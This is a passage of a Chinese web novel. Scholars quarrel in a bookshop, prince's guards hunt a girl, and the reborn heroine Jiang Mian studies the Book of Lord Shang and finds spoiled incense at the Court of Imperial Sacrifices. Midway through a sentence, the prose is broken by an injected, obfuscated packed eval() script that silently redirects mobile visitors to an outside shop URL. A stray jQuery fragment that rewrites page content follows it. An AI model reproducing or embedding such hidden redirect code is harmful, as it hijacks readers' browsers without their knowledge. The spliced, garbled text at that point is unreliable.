陆知舟冷眼睨着好友，勾唇嘲弄道：“你看她那个样子，哪里看得懂《商君书》？这分明就是装腔作势，故意装给你看的！偏偏你这个呆书生，还真把这等市侩虚荣的丫头当成了什么空谷幽兰，巴巴地盼着人家半月后来还书！”
他伸出手指在柜台上重重叩了两下，震得那三个铜板微微发颤，冷笑连连：“依我看，那等锱铢必较、连买个香灰押都要在街边砍价的市井丫头，说不定就是拿这三个铜板来骗你的书看。你便是在这门槛上望穿秋水，站成一尊望夫石，人家也未必会再踏进你这铺子半步！”
陈逢时被他这夹枪带棒的一顿抢白说得愣住了。
他上下打量着眼前这满脸戾气的陆知舟：“与归，你今日这是吃了什么爆竹了？我不过是见猎心喜，欣赏那位姑娘的风骨罢了，你既然不认识人家，在这儿生好大一通什么无名火？”
“谁生火了？”陆知舟像是被戳破了心思，猛地一甩氅衣的广袖，痛得嘶了一声，“我是看你堂堂三甲同进士，竟被个来历不明的丫头三言两语就勾了魂，替你丢人！”
说罢，陆知舟黑着一张脸，再不理会身后一头雾水的陈逢时，忍着背上的隐隐作痛，气呼呼地转身上楼去了。
陈逢时无奈地摇了摇头，刚想将柜台上那三个铜板收好，楼梯拐角处便传来一声极其放肆的闷笑。
“伯遇，你莫要同他一般见识。”
章昭慢悠悠地从二楼踱步下来，俨然一副和事佬的做派。
他走上前，笑嘻嘻地搭上陈逢时的肩膀，挤眉弄眼地低声宽慰：“陆与归这几日正被家里老太君和主母拿着相看名册赶鸭子上架呢，正月里一天排一个，跟上刑似的，如今在榻上更如坐针毡。他这是看你在这风雪天里，平白撞见了一场惹人艳羡的因缘邂逅，心里头酸得直泛陈醋，眼红你呢！”
“眼红？”陈逢时哑然失笑，连连摆手，“子明莫要拿我打趣，我不过是我个人欣赏那姑娘，哪里谈得上什么因缘邂逅。再说，与归他堂堂探花郎、陆家的嫡孙，想要什么样的绝色佳人没有？就如你所说就连那公主也是配得的！何至于来眼红我这一介布衣？”
章昭煞有介事地摇了摇头：“你也别搁这儿懊恼了，半月之期一晃就过。下次待那姑娘再来还书，兄弟我亲自出马，替你把她姓甚名谁、家住哪条巷子，好好地打听打听。定不叫你这好不容易遇上的踏雪寒梅，就这么稀里糊涂地飞了！”
“砰——！”
章昭这番信誓旦旦的保证刚一落地，二楼后罩房的雕花木门便被人从里面重重地摔上了。
那摔门的力道极大，震得整座木楼都跟着抖了三抖，连柜台缝隙里的灰尘都簌簌地往下掉。
章昭和陈逢时面面相觑。
“你看你看，我就说他眼红嫉妒吧！”章昭指着二楼紧闭的房门，笑得越发促狭，“连门都摔得这般响，看来这顿家法还是挨得轻了，力气真够大的。”
二楼的摔门声余音未消，一楼大堂的清净便被一阵粗暴挑门帘的声音打断。
伴随着灌进来的风雪，几名披甲带刀的护卫大步跨入店中。
为首的那人目光如鹰隼般在大堂里扫视了一圈，随即大步走到柜台前。他拱手的动作算不得客气，甚至带着几分逼问感：“店家，方才可曾瞧见一个穿青灰袄裙、撑青面油纸伞的年轻女子进过你这铺子？”
章昭是个心思极敏锐的，只拿眼角不动声色地一瞥，便认出了那护卫腰间挂着的温郡王府腰牌。
他暗中碰了碰陈逢时暗示对方身份。
章昭慢条斯理地将柜台上那三枚铜板拢进抽屉里，温声笑道：“这位官爷说笑了。您瞧这外头漫天的风雪，进小店避雪借书的客人本就一波接着一波，青衣白衣、红纸伞油纸伞的，一时哪里分得这样清楚？”
那护卫显然不是个好糊弄的，闻言目光陡然一沉，手已经按在了刀柄上，越过陈逢时的肩膀便要蛮横地往内堂、后院还有二楼看去。
陈逢时脚步不急不缓地横跨一步，恰好挡住了他大半的视线。
他脸上仍旧挂着那副如沐春风的笑意，语气却稳如泰山，毫不退让：“小店虽小，好歹也是正经做文墨生意的。里头坐着的多是借书看书的斯文客，其中也不乏准备春闱的举子。官爷若这般提刀硬闯进去，惊了客人事小，若是扰了举子们的文气，回头这笔买卖上的损失和惹出来的口舌，温郡王府可会替小人担着？”
这顶帽子扣得极妙。
如今正值年关，京中士子云集，若是温郡王府的兵丁在书铺里提刀欺辱读书人的名声传出去，御史台那帮言官能把温郡王的折子参到天上去。
护卫统领脸色瞬间一变，正欲发作，外头停着的华贵马车内，忽然传出一道带着压抑怒意的女声。
“问清楚了便走，少在外头闹得难看！”
护卫统领闻言，只得硬生生将满腔火气压了下去。他冷冷地剜了陈逢时一眼，警告道：“那女子冲撞了我家县主，店家若见着人，最好识趣些，托人来我们府上禀报。你若是欺瞒，日后问起来，凭你这间破书铺，恐怕也担待不起！”
“官爷慢走，小人不敢，若有消息，小人一定及时禀报。”陈逢时微微拱手，礼数周全地将这尊瘟神送了出去。
待到那辆八宝攒金顶的马车辚辚远去，书铺里的气氛才陡然一松。
章昭收起了脸上的漫不经心，眉头微微皱起：“奇了怪了。温郡王府的县主，素来眼高于顶，怎会突然在街上发了疯似的去搜捕一个借书的寒酸丫头？”
陈逢时望着门外的风雪，长长叹了口气，“那姑娘方才一直在对街买香器，何曾靠近过那辆马车半步？这温家，行事越发跋扈无状了。”
……
长街雪紧，人行之处，浅浅足迹方才落下，转瞬便被漫天新雪密密覆去，干干净净，不留半分痕迹。
檐角落雪簌簌，姜绵轻撑一柄青油纸伞，抬手缓缓推开太常寺东舍的木门。
屋内寒气微滞，隔绝了外头凛冽风雪。她拢了拢衣襟，取出怀中贴身收好的三卷书册，指尖抚过微凉的纸页，兀自轻轻哂笑一声。
前世困于深宫数载，日日周旋人心、困于情爱纠葛，早已将市井俗事抛得一干二净。竟不知坊间赁书这般价廉，早知如此她初入太常寺时便该早些借书来研读。
陆知舟的调侃倒是没错，前世的姜绵，骨子里确实是个胸无点墨的贫苦孤女。
姨母教的那点《千字文》，堪堪够她看懂几张寻常药方，不至于在市井里当个睁眼瞎。这点学识，不过是底层人苟活的微薄依仗。
后来寄居李府。李亦棠兴致来了，便随口指点她几句诗书。偏偏她根骨迟钝，学起来竟连李亦棠身边的丫鬟留云都不如。
那一丝迟钝，刺得她生出了扭曲的不甘，甚至对一个贱籍奴婢暗生嫉恨。既然比不过，索性便看轻。
起初她是不屑，因为那时的她借书文窥见的，从不是修身明理、经世致用的学问，自认为所谓文采不过是权贵高门用以装点门面、标榜风雅的把戏。
琴棋书画，诗词文赋。
于挣扎求生的寒门百姓而言，是触之不及的云端雅物。
也是从那时起，她望着那道云泥之别的森严壁垒，心底生出了不择手段往上爬的野心。
及至后来一朝入宫，她深陷宫闱泥沼。
为了在宋宴清那般城府深沉心思难测的天家贵胄身下苟全，为了效仿李亦棠清高出尘的姿态博取恩宠，她才开始囫囵吞枣地死啃典籍。
那时的圣贤书，从不是修身的良方，而是粉饰皮囊的脂粉、邀宠上位的筹码。她拼命用墨香遮掩骨子里的贫瘠，硬生生堆砌出一副温婉知礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583214|203151||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的假象。
可机关算尽，终成泡影。
最后在她成日枯坐于阆苑宫，只能与书为伴。
起初只是为了打发那难捱的漫漫长夜。可读得久了，那些曾被她拿来当做脂粉邀宠的经史子集，反倒一点点在冷寂中变了分量。
那时的她才多少懂得书中所言一些个道理，却也为时已晚。
她捧着书卷，回望自己那段以色侍人摇尾乞怜的前路，字里行间的沉浮兴衰，便如同一面铜镜，不留余地照出了她曾经的单薄与可笑。
如今再读，不为任何人。只为自己。
她干脆利落地抽出了压《商君书》。
书页翻动，陈年墨香迎面扑来。首篇赫然便是《更法》。
窗外风卷飞雪，枯枝承重断裂，落下一声闷响。屋内寂然，唯余灯花偶尔的爆裂，与少女轻缓的翻书声。
……
连着几日大雪，长街上的炭灰味被风雪裹挟，刮进了太常寺这重门深院。
前院隐隐浮动着清雅的鹅梨与苏合香，那是新分派去暖阁的女使们在调配花香、包贴香匣。暖炉融融，混着少女们轻浅的笑语，连带着空气也轻快妥帖。
而相隔一道垂花门，后院炮制房里的空气却如凝滞的死水。
甫一推门，生药的土腥、陈年木屑的干涩，夹杂着角落里长年不见天日的暗霉味，便直直扑面而来。
大宣朝一年中最重冬至郊祀。大典将至，香药库上下忙得脚不沾地，衙门里的倾轧与拜高踩低也在此刻显露无遗。
同批进来的女使，多多少少花了银钱打点，大多被分派在前院亮堂的暖阁里做些体面伙计。
唯有姜绵毫无倚仗，偏又在甄选时破了刁钻的考局，惹人眼热，就被打发到了这最阴冷呛人的地界。
姜绵也是倒霉催的，偏偏另一个和她搭伙做事的是林半夏。
这林半夏原是花了大价钱上下打点过的，本也能做些轻便的伙计。
可这位大小姐实在娇气，前几日嫌活计繁琐，竟不知死活地闹了脾气，借口头疼脑热告了假。
香药库那位出了名不近人情、眼里揉不得沙子的冷面阎王崔掌库最恨这等躲懒作妖的做派，二话不说，直接将销假回来的林半夏扔到了后院，拨来和姜绵一起做最繁难熬人的分拣活计。
她们被吩咐一同检验冬至大典急用的陈年甘松。
在这灰扑扑的屋子里，姜绵正举着签刀，对付一筐陈年甘松。
劈开一块小臂粗的紫黑色香木时，动作忽地一顿。
这香木外层看着坚硬油润，可内芯一劈开，姜绵凭着前世在宫中浸淫多年的见识与极其敏锐的嗅觉，瞬间捕捉到了一丝混杂在冷香深处的酸霉湿气。
“这香受了潮，内芯沤了。”
姜绵神色一凛，立刻将那半截香木挑了出来，“冬日天寒气味不显，可一旦上了祭天大典，被鼎盛的炭火一逼，必定会生出浊烟，甚至带水汽爆裂作响。”
在祭天大典上惊了圣驾，可是掉脑袋的死罪！
姜绵正要起身去寻炭火来补救，一旁的林半夏却看不下去发了作。
“你为何这般多事？！”
林半夏看着那一地被姜绵挑出来需要重新烘焙拔干的香材，想到还要在这灰扑扑的炭房里熬大半宿，大小姐脾气瞬间上了头，“这香是旧库房提出来的，受潮也是上面管事看管不力！你在这儿装什么能人？闭紧嘴巴装傻充愣不就完了，真出了事也有高个子顶着，偏你要折腾，非拉着我在这里吃苦受罪！”
林半夏嫌恶地看了一眼自己被香材染脏的指甲，将手里的签刀“哐当”一声重重砸在案上，冷笑着撂了挑子：“你要找事发疯那就自己干，本小姐可不奉陪了！”
说罢，她竟真的一甩袖子，头也不回地丢下姜绵一个人，回东舍歇息去了。